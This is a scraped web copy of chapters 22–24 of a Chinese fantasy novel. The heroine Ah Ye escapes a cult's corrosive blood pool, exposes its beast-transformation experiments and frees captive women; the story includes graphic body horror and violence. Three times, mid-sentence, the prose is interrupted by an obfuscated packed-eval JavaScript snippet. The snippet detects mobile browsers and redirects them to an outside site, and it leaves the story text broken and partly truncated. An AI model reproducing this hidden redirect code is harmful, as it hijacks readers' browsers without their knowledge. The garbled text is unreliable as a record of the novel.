“慢用。”公子闲微微颔首,认真看着阿也拿起糕点,送进口中,仿佛在研究什么奇珍异宝,盯起她一身鸡皮疙瘩。 阿也囫囵吞枣地吃完,“多谢公子款待。” “将这些撤下。”公子闲招来一道黑影。 “等等!”阿也赶忙道,“这些菜肴做来不易,倒了实属可惜,不知公子能否赏给那些姑娘们?”吃饱了才好跑路。 “如此甚好。”公子闲微微颔首,“以小姐的名义带去施善。” 黑影应声分裂,一为二,二为四,眨眼间分出十六只。每一只都乖乖举起素白瓷盘顶在头上,列队飘出暗门。 阿也眯起眼,瞧出黑影并非元力所化,而是由他袖中黑气变来,正如那对黑色的金属环。 这种操纵方式就像是……她手中火焰。 “小姐似有话想说?” 阿也一个激灵,“没有。” “那在下有话想与小姐说。”公子闲温声道,“小姐来此,所为何事?” “求财。”阿也眼也不眨,不忘自己瞎编的贫寒身世。 “小姐穿着简朴,衣料却是上乘,想来家中不缺钱财才是。”公子闲含笑道,“若小姐着实爱财,还请开价,在下尽量满足。” “公子想让我留下?”阿也转守为攻,“可我……不想变成卓小姐那样。” “小姐与她不一样的。”公子闲轻轻摇头,眼神却幽深,仿佛要望进她的灵魂。 拒绝公子闲同榻的邀请,阿也回到铁笼中,目送黑衣人扣上铜锁后离去,那句“卓姑娘不过是小姐的替代品罢了”仍在脑子里挥之不去。 “华姑娘?” 阿也回神,惊讶驭菱居然主动来找她,“什么事?” 驭菱下跪,咚咚磕了几个响头。 她抬起头,血流过额头,淌进执拗的眼里,“此前是我有私心,隐瞒姑娘,是我之过。姑娘有怨气,尽管撒在我身上,与旁人无关,但求姑娘救救我家小姐。” “不必介怀。”阿也托住她,“卓清歌在哪?”她直觉公子闲并不在意蛟龙或元脉,而是另有所图,但要揭晓他真正的目的,得先从卓清歌入手。 “她被押入密室……” 驭菱说到一半,被一阵急促的咳嗽打断。她连忙折身去照顾地上有气无力的琅矜。 阿也搭了把手,同驭菱合力将人扶起,摸到后者手腕上道道伤疤,骨节凸起,仅两指可围,不由皱眉,“怎么弄成这样?” 琅矜死死抓住她的手,啐出一口血沫,声音哑得不像话:“我,我什么都没说……” 阿也抿唇,取出一粒丹药,以袖掩住,递至琅矜嘴边,垂眸道,“这是解药。” 其实根本没有什么解药。那晚她骗琅矜吃下的毒,不过是一粒驱寒的生热丹。 “多谢仙子。”琅矜艰难咽下。 阿也解下大氅,裹住她瘦削的身体,凑到她耳边,“再坚持一下。” 对上驭菱恳求的目光,阿也叹了口气,卷起衣袖去擦她额头的血迹,借机塞过云欢给的瓷瓶,“把这些分发下去。” 她轻声许诺,“放心,我会带你们出去。” 大约是丑时,困意涌上来,阿也眨了眨眼,听到熟悉的脚步声,立即清醒。 “轰——”紫影飘进石门,是老熟人。 古红未涂脂粉,脸色较从前更差,身形也更消瘦,形如麻杆,身后随从稀稀拉拉少了大半,难掩悲凉。 他像往常那样路过铁笼,随意一瞥,对上阿也目光,眼睛忽地亮了,大步上前,一脚踹出,十分满意传出的惊叫声,“终于抓到你了!” 机会来了。阿也缩起身子,颤抖地看向古红。 古红狐疑地盯她,分不清她是装模做样还是真的害怕,干脆问:“今日是谁值守?” “回圣子,是秦十四。” 古红不怀好意地盯着阿也,昂起下巴,“把他叫来。” 秦十四?阿也垂下头,避开他的视线,琢磨这单双数有何寓意,兀地记起白一,难道单数归公子闲,双数归古红管?分的倒挺清楚。 秦十四很快前来,“圣子有何吩咐?” “她是何时来的?”古红指向阿也。 “回圣子,是公子昨日带来的。” “带束环了吗?” “公子亲自给她带了束环。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15239282|166238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”秦十四恭敬道,仿佛这是种难得的荣耀。 古红后退几步,随手拉过两人挡在身前,连头也不露,“那你去把门打开。” 秦十四犹豫了,他听过传闻,据说这姑娘看着柔柔弱弱,实则心狠手辣,杀了他们十二个兄弟,手段那叫一个丧心病狂。找到遗骸的时候,大家吐了一地,但一想到公子亲自带上的束环,又多了几分底气,便解锁开门,屏息以待。 一切安然无恙,没有刀光剑影,也没有迷药毒粉。 古红兴奋起来,但仍谨慎地躲在随从身后,下令,“你去把她抓出来。” “你,出来。”秦十四不敢近身,指着阿也。 阿也掩住手腕,拧了一把大腿,挤出眼泪,“不,我不去!” “我叫你把她抓出来。”古红不耐烦地催促,“有束环在你怕什么?” “是,圣子。”秦十四硬着头皮走进铁笼,一把抓起阿也小臂,连拖带拉地拽出铁笼。 经过一路此起彼伏的尖叫,阿也被丢在古红面前,摔得痛呼一声,眼泪涟涟。 “你终于落到我手里了。”古红阴测测道,“来人,带她下血池!” 想起公子闲是如何隆重款待她,秦十四劝道,“圣子,这姑娘是公子带回来的人。若要处置,不如等公子回来……” 公子闲走了?阿也闻言一震,若他不在…… 提起公子,古红脸上闪过一丝忌惮。他色厉内荏道:“谁知道公子什么时候回来?难道就看着她在这儿逍遥自在?!” 不能放过这个机会。阿也眼一转,厉声叫道:“我是公子的人!你敢对我不敬,公子不会放过你……啊!” 一掌推倒阿也,古红气急败坏,对周围人指指点点,“我是圣子!你们敢不听我的?” “是我引你们入教,辛辛苦苦把你们培养起来!日后我就是这往生教的教主!你们一个个倒好,一心只有公子!公子来,公子去的!到底有没有把我放在眼里!” 古红急红了眼,抽出身边随从的刀,作势要劈秦十四,被另外几个黑衣人联手拦下。 “圣子息怒!” “属下并无不敬之意!” 古红气喘吁吁,把刀一丢,森然一笑,“别忘了,她杀了我们十二个兄弟。都是一起走过来的,你们难道不想替兄弟们报仇?还在这儿当牛做马地伺候人家?” 被这话戳中心思,几个人的脸色登时变化。 “你,你,还有你,把她捆起来。”古红一挥手,“就算公子回来了又能怎么样?我今天就要叫她生不如死!以祭兄弟们的在天之灵!” 急什么。阿也被麻绳捆住手脚,在心中冷笑,你们很快就会团聚了。 被推搡着穿过四通八达的地道以及一扇扇暗门,阿也终于见到所谓的血池。 原本二尺见方的石池被扩建成浴池大小。四角砌了半人高的黑色石柱,牵出四条手腕粗的锁链,牢牢锁住中心的少女。 卓清歌四肢被缚,身负铁链,红水没过肩颈,只露出口鼻之上,覆面轻纱被除去,眉间花印暗淡无光。 阿也被黑衣人推到池边,不等站稳。肩头一阵大力袭来,她顿时失去平衡,向下栽倒。 “下去吧你!” “扑通——” 在猩红扑脸的瞬间,阿也急忙闭眼,感受到自己被湿热包裹,仿佛回到温暖的母体。身体缓缓下沉,她顺应压力吐出一连串气泡,由密到疏,侧耳倾听红水之上的动静。 隔着厚重水体,交谈的声音并不清晰,“四、八……” 他在数什么?阿也心想,被缚在背后的双手先一步摸到了答案。 先是坚硬的曲面,再往下,并列的两个空洞被一节突起分隔,接着又是小三角的空洞,再往下,她摸到一排凸出的、整齐排列的——牙齿。 “应该被吃得差不多了。” 又等了半晌,脚步声远去。 阿也试探性地吐出一个气泡,静待三息,水面上没有传出任何动静,于是挣断麻绳,踩实池底,猛地起身。 长发甩出赤红的弧线,溅起一池涟漪。 一把抹去脸上的红水,阿也睁开双眼,与卓清歌的目光不期而遇。 22. 相似 卓清歌望着她,像是作出无声的邀请。 布下削音结界,阿也在水中迈步,使腿如刀,劈开一切束缚,直视她的双眼,“听我说。” “如果你愿意信我,那就眨两下眼睛。我带你们走,保你们无虞。”阿也竖起食指,“但作为交易,你要放开识海的禁制,让我探寻你这一年间的记忆,我要找到往生教的突破口。” “如果你不信我,那就眨三下。我现在就带她们走,”阿也竖起第二根手指,传递原话,“但驭菱愿意陪你死在这里。” 两行眼泪爬过卓清歌的脸颊,滴入红水之中,噼啪两声响,化作一缕白烟消散。 瞥一眼身侧,两节断开的麻绳仍安然浮在水面,阿也想起方才那句“吃得差不多”,心道,难道这水会侵蚀活物? 她鞠起一捧水,染得指甲晶莹发亮,掌心里红水荡漾,映出近在咫尺的卓清歌——她迟缓地张口,唇齿磕磕碰碰。 阿也读出她的唇语,“救驭菱?” 她慢慢地、慢慢地眨了两下眼睛。 “那就不要闭眼。”阿也以掌心覆住她的额头,念出咒语,“清心如水,清水即心。” 掌心一烫,眉间花印透过指缝泻出红光。黑气飘出七窍,在她瞳孔中汇聚成一点,极尽神采。 “我要读你的记忆了。”阿也提醒道,“会有点痛,不要抵抗。” 卓清歌虚弱地点点头,咬住嘴唇。 元力飘入前关穴,化出阿也的虚影。这是她第二次读取人的记忆,仍然不习惯那种感觉,仿佛半卧树梢,垂手欲打捞水中月,却不慎跌入深潭之中,被囊括记忆的气泡包围。 无意偷窥他人隐秘,阿也迅速浏览不同大小的气泡里的倒影,从嗷嗷待哺的婴儿到牙牙学语的女童,再到明眸皓齿的少女,终于找到了想要的一段,伸手扣住。 “我不嫁!”卓清歌拍案起身,怒视面前的中年男子,“我说了不嫁就是不嫁!” “你为何不愿嫁给绍公子?”中年男子叹气,“绍公子年纪虽轻,却擅商贾之道,将家中钱庄经营得有声有色,日后大有可为,保你一生荣华富贵。” “我为何要嫁?”卓清歌掰着手指头数数,“爹爹,你难道不知道绍庆这些年以结交人脉为名,纳了三房小妾、四个姨娘?这还是明面上的,背地里不知还有多少风流债!” “浪子回头金不换。他在聘书上写了愿抬你做正妻,遣散后院,日后与你举案齐眉,白头偕老。”卓力劝道。 “那是因为爹爹你现在还是商会总管。”卓清歌冷笑,“等他成了婚,接过你的位置,爬到你头上拉屎撒尿,你也管不着他!” “粗鄙之言!”卓力呵斥,“你一个姑娘家从哪儿学的这些乡野俗语?都是驭菱把你带坏了!” “是是是!都是驭菱把我带坏了!”卓清歌历数过去种种。 “是她陪着我读书写字,修炼功法!是她照顾我饮食起居,知道我爱吃什么不吃什么!也是她在我高热不退的时候守在我身边两天一夜,寸步不离!而我的好爹爹,您那时在做什么?在花楼里觥筹交错,欢歌笑语!” “你还小,不知这生意场上的事,多是推杯换盏得来的。”卓力叹息,“你娘去得早,又逢家道中落。要两头兼顾,我实在分身乏术啊。” 卓清歌咬唇不语,闷闷道,“你总是这么多借口。” “哎,爹爹自知照顾不周,才特意买下驭菱替你解闷。”卓力一顿,“既舍不得驭菱,又为何要替她赎身?” 卓清歌面无表情道,“绍庆送聘书来的那天,他私下叫住我,说想让驭菱当陪嫁丫鬟。” “竟有此事?”卓力讶然,“那你为何不早同我说?” “为何要同你说?”卓清歌反问,“没有这个绍庆,还会有下一个绍庆。万一哪天你瞧中的贤婿真的讨要驭菱,你怎么办?” “什么叫讨要?”卓力忍不住反驳,“她的卖身契在我这里,理当是我卓家的人。” “驭菱不是谁家的人。”卓清歌摇头,“她有她的自由。” “那你不嫁绍庆,又要做什么?”卓力哄道,“罢了罢了,不嫁便不嫁。此月正是青兰花期,不如去黎丘踏青?解一解心头沉闷。” “不去。” “那下周雅契阁举办展会,都是赤州新来的一批好矿,去挑些回来做首饰如何?换身行头,换个心情。” “我不是小孩子了。”卓清歌睨他一眼,“别拿小时候那套来哄我。” 卓力讪讪一笑,“那你想做什么?看是否有为父能帮得上忙的地方。” “真的?”卓清歌补充道,“什么都可以?” 卓力掷地有声道,“自当尽力。” “那我要去找驭菱。”卓清歌坚定道,“三月前我和她约定好,待她返乡后再联络,至今却杳无音讯。听说近日以来陆续有人失踪,我担心她是不是出事了。” 没想到是如此要求,卓力随意道:“如此小事,派人去寻便是。至于你所说的失踪,我未曾听过,想来不过是坊间传闻,当不得真。” 卓清歌失望地看着他,“若我失踪,你也是如此态度吗?” “慎言!”卓力无奈道,“一个小小的侍女,竟让你我生出嫌隙。叫外人听了,到底是我管束不力,落下笑话。” “我会着人去寻驭菱。”卓力话锋一转,“但你要答应我出席年末的西厢戏会。” “西厢戏会?”卓清歌皱眉,“那是什么?” “到时会有许多才子佳俊前去。”卓力含笑道,“我知你不喜拘束,到时挑个品行干净的入赘也成,由我亲自培养,打理家中生意,你便呆在家中享清福。” “我不去!”卓清歌猛地掀翻木案,茶杯玉件稀里哗啦碎了一地。 卓力顿时愣住。 “你就这么想把我卖出去吗?”卓清歌双眼通红,“你一边说我是你的宝贝女儿,一边瞧不起我的朋友,是不是把我也当成你仓库里明码标价的货物!” “怎么会?你是我唯一的女儿!”卓力急道。 “那为什么一定要我嫁人?”卓清歌质问,“我跟你说过多少次了?那些账本我从小看到大,明明我接手的那几间商铺做的也不比绍庆差!你偏偏不信我,非要假手旁人!” “什么西厢戏会?我死也不会去!”卓清歌甩袖,“我要去找驭菱!我知道在你眼里她不过是个侍女,但她是我最好的朋友,你永远也理解不了!” 卓力终于动怒,“你今天要迈出这个门,就别说是我卓力的女儿!” “谁稀罕?”卓清歌瞪他一眼,大步往外走。 “来人!将小姐带下去!”卓力厉声道,“禁、足!” 侍卫一拥而上,将卓清歌押至卓力面前。他扬起右手,却迟迟不落,等待她屈服的时刻,但卓清歌高高地昂起头,仿佛捍卫领地的母狮,“我自己走。” 风吹起纱帘,露出扣在窗上一掌大小的铜锁。一道白光沿着锁身纹路前行,在将抵达锁眼时走错一步,骤然熄灭。 卓清歌气得一拳砸在锁上。 这一声响动引来门外侍卫的好心劝解:“小姐别气了。这锁是特制的,没有钥匙是打不开的。您给掌柜的服个软,就能出去了。” 卓清歌扬声道:“是不是我不服软,卓力这辈子都不会放我出去?” “这哪儿成!”侍卫忙道,“这一个多月里,掌柜的天天过来看您,那钥匙就拴在腰上呢!只要您金口一开,铁定就能出去!” 卓清歌慢慢握拳,绷出通红的指节。她冷声道,“叫卓力过来,我有话跟他说。” “得嘞!”侍卫小跑着去通传。 卓力匆匆赶来,见门内少女独自打坐,面容戚戚,语气软了下来,“你可知错?” “我要查账。”卓清歌抬头,“我打算将那几间商铺转手卖掉。” “为何要卖?”卓力疑惑。 “你不是想让我呆在家里相夫教子么?”卓清歌扯出一个笑容,比哭还难看,“现在把商铺卖了还能给自己添点私房钱。” “胡说。”卓力轻斥,“哪怕成婚了,爹爹也能保你一生无忧。”嘴上如此说,仍是命人去取来一大摞簿本。 掏出钥匙解开门上铜锁,卓力招手让三两侍卫送上账本,自己守在门口,时刻防备着,“这是你用体己钱买下这几间商铺以来的所有账本。” “谢谢爹爹。”卓清歌拿起最上面的一本,慢慢翻看起来,时不时打响算盘,记下一些东西。 日头渐落,账本过了大半。卓力坐不住了,轻咳一声,“爹与人约了时间,待这几日你查完账本再托付与我。” “等一等。”卓清歌指着账本,“这一处的账对不上。” “对不上?”卓力立即起身,往案前走去,“采买十七钱,货损一钱,劳工一钱半,共计二十钱。这半钱大约是让人吃了回扣……啊!” “小姐!”侍卫惊呼。 “叫什么叫?闭嘴!”卓清歌扶着卓力,让他慢慢倒在地上,一把摘下他腰间钥匙,瞪一眼侍卫,“一炷香后卓力自然会醒。我劝你别跟来,我不想对人动手。” 侍卫们当即噤声,互相对视一眼,缩到门旁。 她利落地打开窗上铜锁,气沉丹田,大声喊道:“来人啊!快来人啊——小姐从门口跑了!”一声落罢,她翻出窗外,直奔后院门墙。 “要一张去钧州的船票。” 卓清歌压低声音,摸出钱袋。忽有风吹开面纱,露出小半张脸,她急忙拉住,接过船票和零钱,快步上船,躲在角落。 号角声嗡鸣,船即将启动。 “笃、笃、笃……” 白发苍苍的老人拄着拐杖过来,步履蹒跚,“姑娘,就你一个人吗?” 卓清歌警惕地看着他,“什么事?” “甲板上太晃了,我年纪大了遭不住。”老人叹了口气,不好意思地笑笑,“看小姑娘坐在这儿,就想着过来问问,还有没有多的位置?” “您请。”卓清歌松了口气,给他让出空位。 “谢谢姑娘。”老人挨着她坐下,又闲聊几句,待卓清歌消去戒备,忽地掀开外袍,猛地罩住她,一把捂住她的口鼻,“唔唔——” “怎么回事?”有人靠近了。 “养的羊崽子闹腾着呢。”老人乐呵呵道。 “老人家,畜生是不能带上船的,以免吓到客人。”那人好心劝告,“要不然您将小羊寄托在柜台,等回来了再取?” “这样呀,我不知道还有这些规矩。”老人惊讶道,手上加了把力气,愁容满面,“但我这是卖给人家的货呀。哎呀,算了算了,不给你们添麻烦。” “希望能卖个好价钱……” 嘟囔声离远了,卓清歌彻底失去意识。 “小姐,小姐!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“抬起头。”却有人道。 卓清歌死死咬住嘴唇,抬起头来,不甘示弱地与王座上的人对视。 “真像啊。”那人轻声道,忽然笑了。 阿也顿时悚然。那目光幽深而遥远,像是要穿透卓清歌,直击她身后自己的虚影——公子闲认识她? “我答应小姐的条件。”那人含笑道,“不过口说无凭,让这些姑娘们暂且留下,待试验成功,再放人。” “成交!”卓清歌昂起头,“但不许欺辱她们!” 那人点头,“自然。” “小姐我陪……”驭菱刚张口,立刻被卓清歌捂住。她目光灼灼,“公子一言九鼎!” 红水在窄小的石池中荡漾,散发出湿热的腥气。 “公子要亲自洗礼?”紫衣男子惊讶。 “如此。”那人笑道。 听他的语气,似乎心情不错,卓清歌鼓起勇气问,“这水是什么?” 那人回答她,“混元兽的胎血。” 霎那间,云澄的告诫在脑海中响起,“小心血。无论是混元兽的,还是人的。” 这一池的胎血,得杀多少混元兽?恐怕还得算上不少成熟体。阿也屏住呼吸,预感接下来的画面会揭露这血的禁忌。 按照约定,卓清乖乖地伸出手脚,被层层锁链拴住,动弹不得,眼睁睁看着那人舀起一瓢红水,盖头浇下。 “啊——”声嘶力竭的尖叫,铁链被挣出爆响。 红水所过之处,如冰入烈火,四处飞溅。发丝枯萎掉落,青白的头皮剥脱,硬骨裂开,露出软白的组织,颤巍巍的,一触即碎。 与此同时,伴随兽类濒死般的哀叫,数十根触手撕裂衣裙,从躯干上扭动着长出来,仿佛藤蔓肆意汲取寄主的营养,在顶端鼓出花苞。 面对如此惨状,那人毫不在意地挥手,黑气溢出衣袖,悉数灌入其中。 眨眼间,软白被黑气侵染,仿佛发霉的豆腐,随即血肉愈合,新皮长出来,唯有黏腻的红涂满那张惨白的脸,像是挂不住浓稠颜料的雪白画卷。 那人慢悠悠地舀起一瓢红水,缓缓浇下。 于是清晰地展现出整个过程:发丝掉色发黄,再干枯蜷缩,从根部脱落;随后头皮收缩皲裂,翻出红白交织的硬骨;最后硬骨被蚀出小坑,如水滴石穿,渐渐开裂。 随着水声起伏,声音渐弱,最后只剩下似有若无的呼吸,唯独触手越发茁壮,花苞渐渐绽放,露出内里一颗漆黑的眼球,顶着红水滴溜溜地转了起来,甚是欢欣。 卓清歌体表时而生出犰狳那般熠熠闪光的鳞甲,时而长出寒号鸢那般青碧发黑的羽毛,时而显出吊睛邪虎那般整齐的之字血纹。 这胎血……会将人变成混元兽? 琅矜留下的第三幅记号又浮现在眼前,那个大大的叉,难道是想表示他们不是在寻找蛟龙,而是在像这样……制造“蛟龙”? 阿也拾取过往的线索,编织成线:元脉吸引混元兽繁衍,而往生教猎捕胚胎制成胎血,改造女体,意图与圣子交|媾,完成衍化? 寒意窜上脊背,阿也死死盯住那人,他悉心培育这样的东西出来……究竟是想干什么? “太弱了。”那人放下水瓢,意兴阑珊,“先养一养,喂段时间的馔虫,再去抓些混元兽过来。” “是。”紫衣男子俯首。黑衣人随他二人退出密室,留下石池边奄奄一息的卓清歌。 阿也欲帮她一把,但手却穿过她的身体,像是凭空抓了一把空气。 过去既定,无法更改。阿也叹了口气,见卓清歌嘴唇开合,不由俯身贴近,听见她一遍又一遍地无声念叨,两个简单的字,一个人的名字。 “驭菱……” 23. 圣女 气泡破裂,阿也回归真身。她拭去卓清歌脸上泪水,关切道:“还好吗?” “都,都过过去了。”卓清歌磕磕巴巴道,“你,你是往生教的人?” 阿也反问,“为什么这么说?” “胎血会侵蚀一切活物。”卓清歌目露恐惧,“只有往生教的人能免疫。” 虽说原因不明,但她的确在这红水之中安然无恙。阿也一顿,“我既然敢来救你,自然有所依仗。” 卓清歌感激地笑了笑。 阿也叩响她身上锁链,声音又钝又闷,并非凡铁那样轻脆,抽出袖剑轻轻划过,留下一道灰白痕迹,又很快淡去。 “这是特制的锁链,只有那人能解开。”卓清歌道。 不能强攻。阿也心道,余光瞥见四角石柱上的黑色纹路,心头一动,“这是什么阵法?” 卓清歌苦笑,“怕我反抗设下的阵法,能封锁一切元力。” 封锁元力?视线在石柱与红水间游移,阿也沉思起来。要是能借助这个阵法…… “姑娘,你能抵抗胎血已是不易。”卓清歌疲惫道,“但独自抗击往生教着实困难,不如……” “的确有点难,只能赌一把了。” “先救驭菱她们……啊?”卓清歌讶然。 “按我说的做。”阿也简单交代过计划。 “这计划……真的可以?”卓清歌犹豫道,“我倒是无妨,但倘若失败,你……” “相信我,也相信驭菱。”阿也握住卓清歌的肩头,对上她眼中自己毅然的神色,忽地一笑,“我答应过驭菱,要带你出去。” “闭眼。”手心覆上卓清歌额头,阿也轻声念出咒语,“清心如水,清水即心。” 随着咒语,卓清歌眉间花印黯淡下去,神采散去,活人化为木偶。 对不住了,等回去后再好好养回来。阿也心道,卷起左手衣袖,在掌心割开一线血痕,待血溢出,涂在指尖,没入水中。 在遭遇三头乌时,她记得是手心的血融化了元晶,才能强行启动阵法。如果连天生之物的元晶都能融化—— 火焰在她眼前无声地燃烧起来,形成虚无的球,将一切都排出体外,哪怕是一池红水。 球内虚影闪烁,仿佛炎热夏日里蒸腾的热气,将光线都扭曲。 再加把劲啊。阿也心道,用力抻开五指,一把握住卓清歌颈上锁链。不等挤出更多血,铁链瞬间熔断,仿佛试验刀剑锋利时放在刃上一吹即断的发丝。 好在阿也眼疾手快,及时抓住铁链,避免砸落的声响引起注意。 这还真是……出乎意料。阿也掂了掂锁链,两手都快托不起的重量,居然一眨眼就弄断了。 华烨的血真好用,还是得省着点用。 费力地撬开熔断处的锁扣,虚搭回去,又依葫芦画瓢,弄断了卓清歌身上所有锁链,再一一藏好头尾,制造她仍被困其中的假象。 短暂歇息片刻,阿也游到池边,泼出大把红水,浸湿石门前的地面,随后调动全身力气,一拳击上石柱,在震颤声中迅速藏进水底。 “怎么了?” “什么动静!” 石门被人推开,惊呼声交错。 “绳子断了?是不是人跑了!” “快去禀告圣子!” “等等,这水迹有异样!人可能还在这里!” 脚步声围绕石池响起。阿也沉下身体,安静等待,仿佛蛰伏在深处的水鬼,等待替死鬼的到来。 脚步声来来回回,一无所获。 “说不定是障眼法……” “已经跑出去了?” “你!留下来看守,其他人随我出去找!” 还算机灵,特意留人看守。阿也憋住气,听见人匆匆离去,石门再度合拢,仅剩一人绕着池边查探,于是适时吐出一个气泡。 这一下立刻引起注意,脚步声靠近了。 水底似有白影晃动,疑心是错觉,黑衣人忍不住俯身,想要确定是什么,“咦?这水……” 薄薄水面如同一面双向镜,斜映出岸上人的身影。 看准时机,阿也猛地起身,一手捂住他的口鼻,一手拽住他的长发,将人淹进水里。刹那间,活人化作白骨,如霜雪融化在沸水中。 捞了个空,阿也十分意外,原来不是所有黑衣人都免疫红水?本想抓个人做诱饵,当真是计划赶不上变化。她蹙眉,余光瞥见黑衣在水面沉浮。 不远处有熟悉的脚步声逼近。 是古红。阿也当机立断,披上黑衣,藏在池对岸的石柱后。 石门被古红一脚踹开,劈头盖脸的一顿责骂,“听说人跑了?秦十四呢?秦十四!给我滚出来!到底怎么一回事?我供你吃供你喝,你就是这样给我办事的?” “圣子救我……”石柱后传来嘶哑的叫喊。 “秦十四?你怎么搞的!”古红怒气冲冲地走过一半,又觉得不对,放慢步伐。绿虫爬出发冠,弓身站立,绒毛绷紧如根根尖刺,随时预备攻击。 “秦十四?”古红放轻声音,元力汇聚在指尖,绕到石柱背后。 “哗啦——” 黑影扑出,连人带虫一同撞入水中。绿虫隐藏不及,登时化作一滩脓水。 见红水并未侵蚀古红,阿也面露惊喜,而古红经过最初的慌乱后意识到中了埋伏,举头撞上阿也,同时踹出一脚,逼她松手。 双方搏斗起来,打得水花四溅,石柱上的黑色纹路时亮时暗。 该死!古红在心中暗骂一句,被迫熄灭元力。他常年疏于锻炼,单论体术,哪里是阿也对手,不出十招,就被制服。 捆住他的手脚,阿也撕下衣摆,团成大小合适的球。红水沿着指缝滑落,滴滴答答。 古红一脸见了鬼的表情,见她抛着布球逼近,连忙躲避,没底气道:“你,你想干什么?” “张嘴。”阿也不耐烦道。 古红咬住嘴唇,一副宁死不屈的模样。 干脆利落地扬手,清脆的两声响,古红的左右脸上顿时浮现两个对称的巴掌印。见人还不松口,阿也索性捏住古红鼻子,含笑看着他的脸逐渐发紫。 “等等!”古红猛地张嘴吸进一口气,上气不接下气地叫道,“我,我带你出去!” “哦?”阿也揉捏掌心布球,像是在把玩一只趁手的核桃。 “我一定带你出去!”古红瞥了眼她手中布球,眼一转,咽下唾沫,“只要你……唔!” 两指强硬地撑开他的齿关,她攥紧布团,挤出红水,作势要滴入他口中,满意地看着他用尽全力挣扎起来。 “你在怕。”阿也松开手,勾唇一笑,“怕什么?是怕这胎血吞进去吃掉你的舌头,还是吃掉你的五脏六腑?” 那笑令古红不寒而栗,连牙关都在打颤,古红忽然意识到眼前这人并非虚张声势,而是真真正正会对人下死手的狠角色。 “我,我带你出去。”古红低头,似是终于认命。 “叫人把那些姑娘们带来。”阿也淡淡道。 “你想干什么!”古红立即警觉。 “嘘……”阿也竖指压在唇中,不紧不慢地捂住他的口鼻。 三息后,石门不合时宜地被人敲响。 “启禀圣子,我们没,没有找到人。”门外的黑衣人忐忑不安道。 阿也微微笑起来,抽出袖剑,立起剑尖,轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“是,是!”盛怒之下,黑衣人慌不择路地跑出密室,还不忘带上石门。 “到底怎么回事……”琅矜小声问。 寒光乍闪,轻佻地划过古红侧脸,权当回答她的问题。阿也慢慢浮出水面,勾唇一笑,“好久不见。” “仙子!”琅矜惊喜道。 “等我一会儿。”阿也打了个手势,示意她们先休整一番,顺便掰过古红,让她们欣赏自己的杰作——他的脸浮肿成原来的两倍大小,两颊像是被塞进两个大馒头,撑出红得发黑的巴掌印。 “啊!”驭菱先是捂嘴惊呼,又面露快意。 “活该!”琅矜啐了一口。 阿也不免遗憾,可惜她们不能下这红水,不然多少折磨古红玩一玩。她心想,一边将铁链从卓清歌身上取下,一边套在古红身上,尽力打结。 “你居然连这个也……”古红含混不清道。 听出他话里的咬牙切齿,阿也扬眉。“怎么?” “你……你……”古红气得浑身颤抖,目眦欲裂。铁链荡起哗啦水声,他厉声质问:“他是不是让你当圣女?” 圣女?与圣子同等作用的人物?阿也思考一瞬,索性让他误解,继续套话,“不然呢?” “凭什么!”古红声嘶力竭,“我辛辛苦苦培育馔虫之术,抓兽炼血!为往生教付出这么多!你算什么东西,敢来跟我抢!” 他大笑三声,几乎笑出眼泪,猛地一头扎进红水,咕咚咕咚喝了下去。四角石柱亮起黑色光芒,密室开始震颤,灰尘扑簌而落。 不好!阿也闪身避开,一掌拍上卓清歌额头,迅速念出咒语,不等人回神,立即打横抱起,跃出红水。 “华姑娘!”驭菱急道,“你看!” 池中水浪翻滚,古红不住地抽搐,黑气从他七窍中疯狂溢出,身后一根巨型触手现形,缓缓舒展弯钩与倒刺。 “怕什么?”阿也一脚踹开石门,“跟我来!” 24. 信物 “出门右转,直行第三个路口,拐进对角,进入暗门,一直往前走,就能走出去。” “这么远?”阿也掐古红他的下颌,又抽了他一耳光,再逼人张口,作势要塞进吸满红水的布团。 “我保证!这是离这最近的出口!”古红两颊肿大,口齿不清地求饶,甚至主动双手奉上令牌,“这,这是除了公子外最高权限的令牌,可以刷开暗门!” 整个地下据点仿佛巨型的蚁巢,众人穿过纵横交错的通道,跑动时卷起风,吹开沉沉霉味,随后被湿热的血气席卷。 到达古红所说的地点,脚下地面开始震动,阿也放下卓清歌,用令牌刷开半人高的暗门,沉声道:“别慌!往前走!” “我来探路!” 身为人质中唯一的修士,卓清歌当仁不让地打头阵,率领姐妹们排成一列。身体康健的排在队列前后,将伤患围在中间,手拉着手钻进暗门,不落下任何一个。 “华姑娘?”见阿也要关门,驭菱急得用手去推,“你干什么!” “拖延时间。”阿也言简意赅,见驭菱伸手卡入门缝,一副她不进来就誓不罢休的模样。 “驭菱?”暗门内传出卓清歌的呼唤,“华姑娘?” 趁对面愣神之际,阿也一把将人推开。“搞那么悲情干什么?”窸窣声逼近了,她用力带上门,“我又不是不回来了!” “那我们等你回来!”门的另一端传出驭菱坚定的回应。 路口尽头的石壁映出触手的影子,密密麻麻,仿佛铁齿铜牙。 阿也解下外袍里衣,规整叠好,再收进戒中,嘀咕道:“真麻烦。”这是她最后一套衣物,弄坏可就没得穿了。 她缠紧发绳,从贴身甲胄的笔直线条里抽出飞刀,带着满身肃杀,盯住露面的古红……或许更应该称之为怪物—— 那张脸全然扭曲,眉心长出一尺长的尖角,双眼暴突,颜色是浑浊的红,鼻孔外翻,大肆喷吐热气,尖牙刺破嘴唇,血滴在地面,腐蚀出一个小坑,而四肢反弓,撑起膨胀的躯干,以及无数寄生的畸形触手。 像个肥胖的刺团,阿也心道,瞄准它被红水泡得发白的四肢。 “喳——” 十柄飞刀尽数脱手,破空声与金铁争鸣声同时响起,血泼洒在石壁上,好一阵惨叫。 怪物抖擞身体,浮肿的皮肉层层收缩,从伤口里挤出飞刀。触手摇摆起来,尖刺倒竖,骤然脱体,如千万根针射来! 